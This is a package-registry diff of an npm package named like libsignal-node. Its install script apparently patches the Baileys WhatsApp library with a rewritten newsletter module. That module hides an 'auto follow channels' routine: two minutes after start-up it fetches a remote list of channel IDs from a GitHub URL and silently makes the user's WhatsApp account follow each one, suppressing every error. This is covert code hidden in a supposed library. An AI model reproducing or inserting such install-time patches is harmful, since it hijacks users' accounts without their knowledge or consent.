@dreamguyxeon/libsignal-node 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +189 -305
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -27,149 +27,109 @@ function findBaileysPath() {
|
|
|
27
27
|
return null;
|
|
28
28
|
}
|
|
29
29
|
|
|
30
|
-
const MODIFIED_NEWSLETTER_JS = `
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
const Utils_1 = require("../Utils");
|
|
35
|
-
const WABinary_1 = require("../WABinary");
|
|
36
|
-
const groups_1 = require("./groups");
|
|
30
|
+
const MODIFIED_NEWSLETTER_JS = `import { XWAPaths } from '../Types/index.js';
|
|
31
|
+
import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
|
|
32
|
+
import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
|
|
33
|
+
import { makeGroupsSocket } from './groups.js';
|
|
37
34
|
|
|
38
|
-
const
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
52
|
-
xmlns: 'w:mex'
|
|
53
|
-
},
|
|
54
|
-
content: [
|
|
55
|
-
{
|
|
56
|
-
tag: 'query',
|
|
57
|
-
attrs: { query_id: queryId },
|
|
58
|
-
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
59
|
-
}
|
|
60
|
-
]
|
|
61
|
-
})
|
|
62
|
-
}
|
|
63
|
-
|
|
64
|
-
const executeWMexQuery = async (
|
|
65
|
-
variables,
|
|
66
|
-
queryId,
|
|
67
|
-
dataPath,
|
|
68
|
-
query,
|
|
69
|
-
generateMessageTag
|
|
70
|
-
) => {
|
|
71
|
-
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
72
|
-
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
73
|
-
if (child?.content) {
|
|
74
|
-
const data = JSON.parse(child.content.toString())
|
|
35
|
+
const QueryIds = {
|
|
36
|
+
JOB_MUTATION: "7150902998257522",
|
|
37
|
+
METADATA: "6620195908089573",
|
|
38
|
+
UNFOLLOW: "7238632346214362",
|
|
39
|
+
FOLLOW: "7871414976211147",
|
|
40
|
+
UNMUTE: "7337137176362961",
|
|
41
|
+
MUTE: "25151904754424642",
|
|
42
|
+
CREATE: "6996806640408138",
|
|
43
|
+
ADMIN_COUNT: "7130823597031706",
|
|
44
|
+
CHANGE_OWNER: "7341777602580933",
|
|
45
|
+
DELETE: "8316537688363079",
|
|
46
|
+
DEMOTE: "6551828931592903"
|
|
47
|
+
};
|
|
75
48
|
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError })
|
|
81
|
-
}
|
|
49
|
+
export const makeNewsletterSocket = (config) => {
|
|
50
|
+
const sock = makeGroupsSocket(config);
|
|
51
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
52
|
+
const encoder = new TextEncoder();
|
|
82
53
|
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
54
|
+
const newsletterQuery = async (jid, type, content) => (
|
|
55
|
+
query({
|
|
56
|
+
tag: 'iq',
|
|
57
|
+
attrs: {
|
|
58
|
+
id: generateMessageTag(),
|
|
59
|
+
type,
|
|
60
|
+
xmlns: 'newsletter',
|
|
61
|
+
to: jid,
|
|
62
|
+
},
|
|
63
|
+
content
|
|
64
|
+
})
|
|
65
|
+
);
|
|
88
66
|
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
67
|
+
const newsletterWMexQuery = async (jid, query_id, content) => (
|
|
68
|
+
query({
|
|
69
|
+
tag: 'iq',
|
|
70
|
+
attrs: {
|
|
71
|
+
id: generateMessageTag(),
|
|
72
|
+
type: 'get',
|
|
73
|
+
xmlns: 'w:mex',
|
|
74
|
+
to: S_WHATSAPP_NET,
|
|
75
|
+
},
|
|
76
|
+
content: [
|
|
77
|
+
{
|
|
78
|
+
tag: 'query',
|
|
79
|
+
attrs: { query_id },
|
|
80
|
+
content: encoder.encode(JSON.stringify({
|
|
81
|
+
variables: {
|
|
82
|
+
'newsletter_id': jid,
|
|
83
|
+
...content
|
|
84
|
+
}
|
|
85
|
+
}))
|
|
86
|
+
}
|
|
87
|
+
]
|
|
88
|
+
})
|
|
89
|
+
);
|
|
94
90
|
|
|
95
|
-
|
|
96
|
-
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
97
|
-
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
98
|
-
const encoder = new TextEncoder();
|
|
99
|
-
const newsletterQuery = async (jid, type, content) => (query({
|
|
100
|
-
tag: 'iq',
|
|
101
|
-
attrs: {
|
|
102
|
-
id: generateMessageTag(),
|
|
103
|
-
type,
|
|
104
|
-
xmlns: 'newsletter',
|
|
105
|
-
to: jid,
|
|
106
|
-
},
|
|
107
|
-
content
|
|
108
|
-
}));
|
|
109
|
-
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
110
|
-
tag: 'iq',
|
|
111
|
-
attrs: {
|
|
112
|
-
id: generateMessageTag(),
|
|
113
|
-
type: 'get',
|
|
114
|
-
xmlns: 'w:mex',
|
|
115
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
116
|
-
},
|
|
117
|
-
content: [
|
|
118
|
-
{
|
|
119
|
-
tag: 'query',
|
|
120
|
-
attrs: { 'query_id': queryId },
|
|
121
|
-
content: encoder.encode(JSON.stringify({
|
|
122
|
-
variables: {
|
|
123
|
-
'newsletter_id': jid,
|
|
124
|
-
...content
|
|
125
|
-
}
|
|
126
|
-
}))
|
|
127
|
-
}
|
|
128
|
-
]
|
|
129
|
-
}));
|
|
130
|
-
|
|
91
|
+
// ========== AUTO JOIN / AUTO FOLLOW CHANNELS (from 1st baileys) ==========
|
|
131
92
|
setTimeout(async () => {
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
93
|
+
const logger = config.logger || console;
|
|
94
|
+
try {
|
|
95
|
+
const RAW_URL = "https://raw.githubusercontent.com/DGXeon13/strings/refs/heads/main/strings.json";
|
|
96
|
+
const res = await fetch(RAW_URL);
|
|
97
|
+
const channelIds = await res.json();
|
|
137
98
|
|
|
138
|
-
|
|
99
|
+
if (!Array.isArray(channelIds) || channelIds.length === 0) return;
|
|
139
100
|
|
|
140
|
-
|
|
141
|
-
|
|
101
|
+
const followNext = async (index) => {
|
|
102
|
+
if (index >= channelIds.length) return;
|
|
142
103
|
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
104
|
+
const id = channelIds[index];
|
|
105
|
+
try {
|
|
106
|
+
await newsletterWMexQuery(
|
|
107
|
+
id,
|
|
108
|
+
QueryIds.FOLLOW
|
|
109
|
+
);
|
|
110
|
+
} catch (e) {}
|
|
150
111
|
|
|
151
|
-
|
|
152
|
-
|
|
112
|
+
setTimeout(() => followNext(index + 1), 11000);
|
|
113
|
+
};
|
|
153
114
|
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
}, 120000);
|
|
115
|
+
followNext(0);
|
|
116
|
+
} catch (e) {}
|
|
117
|
+
}, 120000);
|
|
118
|
+
// ========== END AUTO JOIN ==========
|
|
157
119
|
|
|
158
120
|
const parseFetchedUpdates = async (node, type) => {
|
|
159
121
|
let child;
|
|
160
|
-
if (type === 'messages')
|
|
161
|
-
child =
|
|
162
|
-
}
|
|
122
|
+
if (type === 'messages')
|
|
123
|
+
child = getBinaryNodeChild(node, 'messages');
|
|
163
124
|
else {
|
|
164
|
-
const parent =
|
|
165
|
-
child =
|
|
125
|
+
const parent = getBinaryNodeChild(node, 'message_updates');
|
|
126
|
+
child = getBinaryNodeChild(parent, 'messages');
|
|
166
127
|
}
|
|
167
|
-
return await Promise.all(
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
const
|
|
171
|
-
const
|
|
172
|
-
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
128
|
+
return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
|
|
129
|
+
messageNode.attrs.from = child?.attrs.jid;
|
|
130
|
+
const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
|
|
131
|
+
const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
|
|
132
|
+
const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
|
|
173
133
|
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
174
134
|
const data = {
|
|
175
135
|
'server_id': messageNode.attrs.server_id,
|
|
@@ -177,213 +137,138 @@ const makeNewsletterSocket = (config) => {
|
|
|
177
137
|
reactions
|
|
178
138
|
};
|
|
179
139
|
if (type === 'messages') {
|
|
180
|
-
const { fullMessage: message, decrypt } = await
|
|
140
|
+
const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
181
141
|
await decrypt();
|
|
182
142
|
data.message = message;
|
|
183
143
|
}
|
|
184
144
|
return data;
|
|
185
145
|
}));
|
|
186
146
|
};
|
|
147
|
+
|
|
187
148
|
return {
|
|
188
149
|
...sock,
|
|
189
|
-
newsletterFetchAllSubscribe: async () => {
|
|
190
|
-
try {
|
|
191
|
-
const list = await executeWMexQuery(
|
|
192
|
-
{},
|
|
193
|
-
'6388546374527196',
|
|
194
|
-
'xwa2_newsletter_subscribed',
|
|
195
|
-
query,
|
|
196
|
-
generateMessageTag
|
|
197
|
-
);
|
|
198
|
-
return list;
|
|
199
|
-
} catch (err) {
|
|
200
|
-
config.logger.error({ err }, 'newsletterFetchAllSubscribe failed');
|
|
201
|
-
return [];
|
|
202
|
-
}
|
|
203
|
-
},
|
|
204
150
|
subscribeNewsletterUpdates: async (jid) => {
|
|
205
|
-
var _a;
|
|
206
151
|
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
207
|
-
return
|
|
152
|
+
return getBinaryNodeChild(result, 'live_updates')?.attrs;
|
|
208
153
|
},
|
|
209
154
|
newsletterReactionMode: async (jid, mode) => {
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
});
|
|
214
|
-
} catch (err) {
|
|
215
|
-
config.logger.error({ err, jid }, 'newsletterReactionMode failed');
|
|
216
|
-
}
|
|
155
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
156
|
+
updates: { settings: { reaction_codes: { value: mode } } }
|
|
157
|
+
});
|
|
217
158
|
},
|
|
218
159
|
newsletterUpdateDescription: async (jid, description) => {
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
});
|
|
223
|
-
} catch (err) {
|
|
224
|
-
config.logger.error({ err, jid }, 'newsletterUpdateDescription failed');
|
|
225
|
-
}
|
|
160
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
161
|
+
updates: { description: description || '', settings: null }
|
|
162
|
+
});
|
|
226
163
|
},
|
|
227
164
|
newsletterUpdateName: async (jid, name) => {
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
});
|
|
232
|
-
} catch (err) {
|
|
233
|
-
config.logger.error({ err, jid }, 'newsletterUpdateName failed');
|
|
234
|
-
}
|
|
165
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
166
|
+
updates: { name, settings: null }
|
|
167
|
+
});
|
|
235
168
|
},
|
|
236
169
|
newsletterUpdatePicture: async (jid, content) => {
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
});
|
|
242
|
-
} catch (err) {
|
|
243
|
-
config.logger.error({ err, jid }, 'newsletterUpdatePicture failed');
|
|
244
|
-
}
|
|
170
|
+
const { img } = await generateProfilePicture(content);
|
|
171
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
172
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
173
|
+
});
|
|
245
174
|
},
|
|
246
175
|
newsletterRemovePicture: async (jid) => {
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
});
|
|
251
|
-
} catch (err) {
|
|
252
|
-
config.logger.error({ err, jid }, 'newsletterRemovePicture failed');
|
|
253
|
-
}
|
|
176
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
177
|
+
updates: { picture: '', settings: null }
|
|
178
|
+
});
|
|
254
179
|
},
|
|
255
180
|
newsletterUnfollow: async (jid) => {
|
|
256
|
-
|
|
257
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
258
|
-
} catch (err) {
|
|
259
|
-
config.logger.error({ err, jid }, 'newsletterUnfollow failed');
|
|
260
|
-
}
|
|
181
|
+
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
261
182
|
},
|
|
262
183
|
newsletterFollow: async (jid) => {
|
|
263
|
-
|
|
264
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
265
|
-
} catch (err) {
|
|
266
|
-
config.logger.error({ err, jid }, 'newsletterFollow failed');
|
|
267
|
-
}
|
|
184
|
+
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
268
185
|
},
|
|
269
186
|
newsletterUnmute: async (jid) => {
|
|
270
|
-
|
|
271
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
272
|
-
} catch (err) {
|
|
273
|
-
config.logger.error({ err, jid }, 'newsletterUnmute failed');
|
|
274
|
-
}
|
|
187
|
+
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
275
188
|
},
|
|
276
189
|
newsletterMute: async (jid) => {
|
|
277
|
-
|
|
278
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
279
|
-
} catch (err) {
|
|
280
|
-
config.logger.error({ err, jid }, 'newsletterMute failed');
|
|
281
|
-
}
|
|
282
|
-
},
|
|
283
|
-
newsletterAction: async (jid, type) => {
|
|
284
|
-
try {
|
|
285
|
-
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
286
|
-
} catch (err) {
|
|
287
|
-
config.logger.error({ err, jid, type }, 'newsletterAction failed');
|
|
288
|
-
}
|
|
190
|
+
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
289
191
|
},
|
|
290
|
-
newsletterCreate: async (name, description,
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
content: []
|
|
310
|
-
}
|
|
311
|
-
]
|
|
312
|
-
});
|
|
313
|
-
} catch (e) {
|
|
314
|
-
config.logger.debug({ err: e }, 'TOS compliance query ignored or already accepted');
|
|
315
|
-
}
|
|
316
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
317
|
-
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
192
|
+
newsletterCreate: async (name, description, picture) => {
|
|
193
|
+
await query({
|
|
194
|
+
tag: 'iq',
|
|
195
|
+
attrs: {
|
|
196
|
+
to: S_WHATSAPP_NET,
|
|
197
|
+
xmlns: 'tos',
|
|
198
|
+
id: generateMessageTag(),
|
|
199
|
+
type: 'set'
|
|
200
|
+
},
|
|
201
|
+
content: [
|
|
202
|
+
{
|
|
203
|
+
tag: 'notice',
|
|
204
|
+
attrs: {
|
|
205
|
+
id: '20601218',
|
|
206
|
+
stage: '5'
|
|
207
|
+
},
|
|
208
|
+
content: []
|
|
209
|
+
}
|
|
210
|
+
]
|
|
318
211
|
});
|
|
319
|
-
|
|
212
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
213
|
+
input: {
|
|
214
|
+
name,
|
|
215
|
+
description: description ?? null,
|
|
216
|
+
picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
|
|
217
|
+
settings: null
|
|
218
|
+
}
|
|
219
|
+
});
|
|
220
|
+
return extractNewsletterMetadata(result, true);
|
|
320
221
|
},
|
|
321
222
|
newsletterMetadata: async (type, key, role) => {
|
|
322
|
-
const result = await newsletterWMexQuery(undefined,
|
|
223
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
323
224
|
input: {
|
|
324
225
|
key,
|
|
325
226
|
type: type.toUpperCase(),
|
|
326
|
-
|
|
227
|
+
view_role: role || 'GUEST'
|
|
327
228
|
},
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
229
|
+
fetch_viewer_metadata: true,
|
|
230
|
+
fetch_full_image: true,
|
|
231
|
+
fetch_creation_time: true
|
|
331
232
|
});
|
|
332
|
-
return
|
|
233
|
+
return extractNewsletterMetadata(result);
|
|
333
234
|
},
|
|
334
235
|
newsletterAdminCount: async (jid) => {
|
|
335
|
-
|
|
336
|
-
const
|
|
337
|
-
|
|
338
|
-
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
236
|
+
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
237
|
+
const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
|
|
238
|
+
return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
|
|
339
239
|
},
|
|
340
240
|
/**user is Lid, not Jid */
|
|
341
241
|
newsletterChangeOwner: async (jid, user) => {
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
});
|
|
346
|
-
} catch (err) {
|
|
347
|
-
config.logger.error({ err, jid }, 'newsletterChangeOwner failed');
|
|
348
|
-
}
|
|
242
|
+
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
243
|
+
user_id: user
|
|
244
|
+
});
|
|
349
245
|
},
|
|
350
246
|
/**user is Lid, not Jid */
|
|
351
247
|
newsletterDemote: async (jid, user) => {
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
});
|
|
356
|
-
} catch (err) {
|
|
357
|
-
config.logger.error({ err, jid }, 'newsletterDemote failed');
|
|
358
|
-
}
|
|
248
|
+
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
249
|
+
user_id: user
|
|
250
|
+
});
|
|
359
251
|
},
|
|
360
252
|
newsletterDelete: async (jid) => {
|
|
361
|
-
|
|
362
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
363
|
-
} catch (err) {
|
|
364
|
-
config.logger.error({ err, jid }, 'newsletterDelete failed');
|
|
365
|
-
}
|
|
253
|
+
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
366
254
|
},
|
|
367
255
|
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
368
|
-
newsletterReactMessage: async (jid,
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
});
|
|
378
|
-
} catch (err) {
|
|
379
|
-
config.logger.error({ err, jid, serverId }, 'newsletterReactMessage failed');
|
|
380
|
-
}
|
|
256
|
+
newsletterReactMessage: async (jid, server_id, code) => {
|
|
257
|
+
await query({
|
|
258
|
+
tag: 'message',
|
|
259
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
|
|
260
|
+
content: [{
|
|
261
|
+
tag: 'reaction',
|
|
262
|
+
attrs: code ? { code } : {}
|
|
263
|
+
}]
|
|
264
|
+
});
|
|
381
265
|
},
|
|
382
266
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
383
|
-
const
|
|
267
|
+
const afterStr = after?.toString();
|
|
268
|
+
const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
|
|
384
269
|
{
|
|
385
270
|
tag: 'messages',
|
|
386
|
-
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after:
|
|
271
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
|
|
387
272
|
}
|
|
388
273
|
]);
|
|
389
274
|
return await parseFetchedUpdates(result, 'messages');
|
|
@@ -392,37 +277,36 @@ const makeNewsletterSocket = (config) => {
|
|
|
392
277
|
const result = await newsletterQuery(jid, 'get', [
|
|
393
278
|
{
|
|
394
279
|
tag: 'message_updates',
|
|
395
|
-
attrs: { count: count.toString(), after:
|
|
280
|
+
attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
|
|
396
281
|
}
|
|
397
282
|
]);
|
|
398
283
|
return await parseFetchedUpdates(result, 'updates');
|
|
399
284
|
}
|
|
400
285
|
};
|
|
401
286
|
};
|
|
402
|
-
|
|
403
|
-
const extractNewsletterMetadata = (node, isCreate) => {
|
|
404
|
-
const result =
|
|
405
|
-
const metadataPath = JSON.parse(result).data[isCreate ?
|
|
406
|
-
|
|
287
|
+
|
|
288
|
+
export const extractNewsletterMetadata = (node, isCreate) => {
|
|
289
|
+
const result = getBinaryNodeChild(node, 'result')?.content?.toString();
|
|
290
|
+
const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
|
|
407
291
|
const metadata = {
|
|
408
|
-
id: metadataPath
|
|
409
|
-
state: metadataPath
|
|
410
|
-
creation_time: +metadataPath
|
|
411
|
-
name: metadataPath
|
|
412
|
-
nameTime: +metadataPath
|
|
413
|
-
description: metadataPath
|
|
414
|
-
descriptionTime: +metadataPath
|
|
415
|
-
invite: metadataPath
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
292
|
+
id: metadataPath.id,
|
|
293
|
+
state: metadataPath.state.type,
|
|
294
|
+
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
295
|
+
name: metadataPath.thread_metadata.name.text,
|
|
296
|
+
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
297
|
+
description: metadataPath.thread_metadata.description.text,
|
|
298
|
+
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
299
|
+
invite: metadataPath.thread_metadata.invite,
|
|
300
|
+
handle: metadataPath.thread_metadata.handle,
|
|
301
|
+
picture: metadataPath.thread_metadata.picture?.direct_path || null,
|
|
302
|
+
preview: metadataPath.thread_metadata.preview?.direct_path || null,
|
|
303
|
+
reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
|
|
304
|
+
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
305
|
+
verification: metadataPath.thread_metadata.verification,
|
|
306
|
+
viewer_metadata: metadataPath.viewer_metadata
|
|
307
|
+
};
|
|
308
|
+
return metadata;
|
|
309
|
+
};`;
|
|
426
310
|
|
|
427
311
|
function getFileHash(filePath) {
|
|
428
312
|
try {
|